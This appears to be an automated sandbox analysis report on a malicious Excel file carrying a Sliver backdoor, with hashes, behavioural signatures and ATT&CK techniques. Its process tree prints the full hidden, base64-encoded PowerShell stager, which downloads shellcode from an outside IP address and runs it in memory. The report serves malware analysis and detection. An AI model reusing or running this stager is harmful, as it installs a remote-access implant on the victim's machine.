sliver | e958c7960d354a86b54b72064200d3dce489f588147d86ed7c7e9a6252c6ea0a

General

Target

e958c7960d354a86b54b72064200d3dce489f588147d86ed7c7e9a6252c6ea0a.xls
Size

46KB
MD5

058a72e7a27017cac0d87d2181737e5c
SHA1

ac057c406c374ff8eae0184852ef739ed54728e5
SHA256

e958c7960d354a86b54b72064200d3dce489f588147d86ed7c7e9a6252c6ea0a
SHA512

056e3ed6698e2d7549d7203ab82c4e6f1675010de812446de611010d24d8d4b3e78f3ec522c96917bd36c77eeacb495ccfd8a4a1c154db5e1e163efb75b5c1ca
SSDEEP

768:o4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:jSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	692	4044	powershell.exe	82

Sliver RAT v2 5 IoCs

resource	yara_rule
behavioral2/memory/692-61-0x000001CFFF2E0000-0x000001CFFFD5E000-memory.dmp	SliverRAT_v2
behavioral2/memory/692-62-0x000001CF80A80000-0x000001CF81566000-memory.dmp	SliverRAT_v2
behavioral2/memory/692-65-0x000001CF80A80000-0x000001CF81566000-memory.dmp	SliverRAT_v2
behavioral2/memory/692-64-0x000001CF80A80000-0x000001CF81566000-memory.dmp	SliverRAT_v2
behavioral2/memory/692-63-0x000001CF80A80000-0x000001CF81566000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 28 IoCs

flow	pid	Process
23	692	powershell.exe
25	692	powershell.exe
28	692	powershell.exe
29	692	powershell.exe
30	692	powershell.exe
31	692	powershell.exe
35	692	powershell.exe
43	692	powershell.exe
44	692	powershell.exe
45	692	powershell.exe
46	692	powershell.exe
47	692	powershell.exe
48	692	powershell.exe
49	692	powershell.exe
50	692	powershell.exe
51	692	powershell.exe
58	692	powershell.exe
66	692	powershell.exe
67	692	powershell.exe
68	692	powershell.exe
69	692	powershell.exe
70	692	powershell.exe
71	692	powershell.exe
72	692	powershell.exe
73	692	powershell.exe
74	692	powershell.exe
75	692	powershell.exe
76	692	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
692	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4044	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
692	powershell.exe
692	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	692	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4044 wrote to memory of 692	4044	EXCEL.EXE	86
PID 4044 wrote to memory of 692	4044	EXCEL.EXE	86
PID 692 wrote to memory of 4828	692	powershell.exe	89
PID 692 wrote to memory of 4828	692	powershell.exe	89
PID 4828 wrote to memory of 4308	4828	csc.exe	91
PID 4828 wrote to memory of 4308	4828	csc.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e958c7960d354a86b54b72064200d3dce489f588147d86ed7c7e9a6252c6ea0a.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wnziqovm\wnziqovm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES885A.tmp" "c:\Users\Admin\AppData\Local\Temp\wnziqovm\CSC1AE964DF1C9142CC886ABBDC7EA76368.TMP"
      4⤵
      PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES885A.tmp

Filesize
1KB

MD5
18a8691de0dc4a100e6a24a4e8dfc2f0

SHA1
ea644bea1f22edb82fb4532bc9f8e277e958039e

SHA256
4a9d052a4fcad68bd94a35ebd4da5997198d0a971dca9a04e1224ef561f3a826

SHA512
cefe9856c6d8779c2e67564fa815966e6bef9e18bc74be4c0b9c4c6b2d8846b7afc179095c2fd254c7a7624da29fb7ef25e279e27d9a832fb818eb9e90f77743

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eambacui.hhp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\wnziqovm\wnziqovm.dll

Filesize
3KB

MD5
5198ace58dce94002b44863dcb890e51

SHA1
72d37a499d942b21f9f20dde7ef87896681b934f

SHA256
86f24dc67e9a6949436aebac6b9c142a7e7e6e288a81dfb8c94aa2aee53d0050

SHA512
3c6f0c8492e4fb3a897453082abe5b9444b838beed32a7d553f2387bdaf3cf741e85d84cb414a2573e4c1dbdba5ff2847f48be6e3f490a68aa33097a772099a8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wnziqovm\CSC1AE964DF1C9142CC886ABBDC7EA76368.TMP

Filesize
652B

MD5
1f328e2f84f26c90f08b219afbe7280c

SHA1
db8d17305781625c51c8c303ceef03be54043c4d

SHA256
6a9208f446dd9a16a84bbd7910d3f7e04649494d96079161bfe22c3e6b147aca

SHA512
599be4ef9b537c40f1b771ecfe672a938cd348c57eba8b5372ceff9cb61de2286d0b968232d49dc609480ee8d3f933299cbb08865464e659a7ff7e68d5a73b75

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wnziqovm\wnziqovm.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wnziqovm\wnziqovm.cmdline

Filesize
369B

MD5
f8aeac905873f117ca151cf966db809e

SHA1
d7d67602b6e6eff7c6e8b9eb35a48f4ec2e6339b

SHA256
603c5d4a2fe904154d186a9c3e9e7e82611f814d6a609e65a343582bb1d5794c

SHA512
c992f5e8aa167ed7c8a7da46b53f8c14657cbf5f15cb338dcdc208abf32d1f7f7c6856ff7b396bcc4b65b2c32261eb2d47753c4c55736848939038c1acbabaab

Download Submit
memory/692-65-0x000001CF80A80000-0x000001CF81566000-memory.dmp

Filesize
10.9MB

Download
memory/692-57-0x000001CFE69B0000-0x000001CFE69B8000-memory.dmp

Filesize
32KB

Download
memory/692-61-0x000001CFFF2E0000-0x000001CFFFD5E000-memory.dmp

Filesize
10.5MB

Download
memory/692-62-0x000001CF80A80000-0x000001CF81566000-memory.dmp

Filesize
10.9MB

Download
memory/692-32-0x000001CFE69C0000-0x000001CFE69E2000-memory.dmp

Filesize
136KB

Download
memory/692-64-0x000001CF80A80000-0x000001CF81566000-memory.dmp

Filesize
10.9MB

Download
memory/692-63-0x000001CF80A80000-0x000001CF81566000-memory.dmp

Filesize
10.9MB

Download
memory/4044-12-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-13-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-6-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-16-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-17-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-22-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-21-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-8-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-15-0x00007FF9BA2D0000-0x00007FF9BA2E0000-memory.dmp

Filesize
64KB

Download
memory/4044-9-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-14-0x00007FF9BA2D0000-0x00007FF9BA2E0000-memory.dmp

Filesize
64KB

Download
memory/4044-7-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-0-0x00007FF9BC990000-0x00007FF9BC9A0000-memory.dmp

Filesize
64KB

Download
memory/4044-11-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-10-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-5-0x00007FF9BC990000-0x00007FF9BC9A0000-memory.dmp

Filesize
64KB

Download
memory/4044-3-0x00007FF9FC9AD000-0x00007FF9FC9AE000-memory.dmp

Filesize
4KB

Download
memory/4044-2-0x00007FF9BC990000-0x00007FF9BC9A0000-memory.dmp

Filesize
64KB

Download
memory/4044-4-0x00007FF9BC990000-0x00007FF9BC9A0000-memory.dmp

Filesize
64KB

Download
memory/4044-1-0x00007FF9BC990000-0x00007FF9BC9A0000-memory.dmp

Filesize
64KB

Download
memory/4044-66-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-67-0x00007FF9FC910000-0x00007FF9FCB05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads